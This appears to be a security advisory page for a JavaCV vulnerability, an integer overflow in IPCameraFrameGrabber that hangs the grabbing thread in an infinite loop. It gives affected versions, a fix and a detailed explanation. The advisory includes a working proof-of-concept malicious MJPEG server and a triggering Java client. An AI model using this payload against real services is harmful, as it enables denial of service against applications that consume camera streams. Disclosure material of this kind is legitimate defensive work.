high · 7.5 Patched

JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS

CVE-2026-102834 · GHSA-rxjv-24xq-76wc · published 16 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-102834?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • org.bytedeco:javacv (Maven) < 1.5.14

How to check

  1. Look for org.bytedeco:javacv in your lockfile and compare its version with the range above.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade org.bytedeco:javacv to 1.5.14 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary `IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller. ### Details File: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java` ```java private byte[] readImage() throws IOException { ... int c0 = subheader.indexOf("content-length: "); final int c1 = subheader.indexOf('\r', c0); if (c0 < 0) { throw new EOFException("The camera stream ended unexpectedly"); } c0 += 16; final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled // adaptive size - careful - don't want a 2G jpeg ensureBufferCapacity(contentLength); // <-- no upper bound enforced input.readFully(pixelBuffer, 0, contentLength); ... } private void ensureBufferCapacity(int desiredCapacity) { int capacity = pixelBuffer.length; // starts at 1024 while (capacity < desiredCapacity) { capacity *= 2; // <-- unchecked int multiplication } if (capacity > pixelBuffer.length) { pixelBuffer = new byte[capacity]; } } ``` `contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check). `ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`): 1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true. 2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`). 3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues. 4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`. 5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates. This is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside. ### PoC A minimal malicious/MITM'd MJPEG server that reproduces the hang: ```python import socket srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 8080)) srv.listen(1) print("listening on :8080") conn, _ = srv.accept() conn.recv(4096) # swallow the client's request # Any value in (1073741824, 2147483647] triggers the overflow. malicious_length = 2000000000 header = ( "--myboundary\r\n" "Content-Type: image/jpeg\r\n" "Content-Length: %d\r\n\r\n" % malicious_length ) conn.sendall(header.encode()) # The client will now spin forever inside ensureBufferCapacity() # before ever attempting to read the (fake) body. ``` Java client (representative of any application embedding javacv to view an "IP camera" URL): ```java import org.bytedeco.javacv.IPCameraFrameGrabber; import java.util.concurrent.TimeUnit; public class Poc { public static void main(String[] args) throws Exception { IPCameraFrameGrabber grabber = new IPCameraFrameGrabber( "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS); grabber.start(); grabber.grab(); // never returns; thread pegs a CPU core at 100% forever } } ``` Running the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor. ### Impact Any application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class's own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON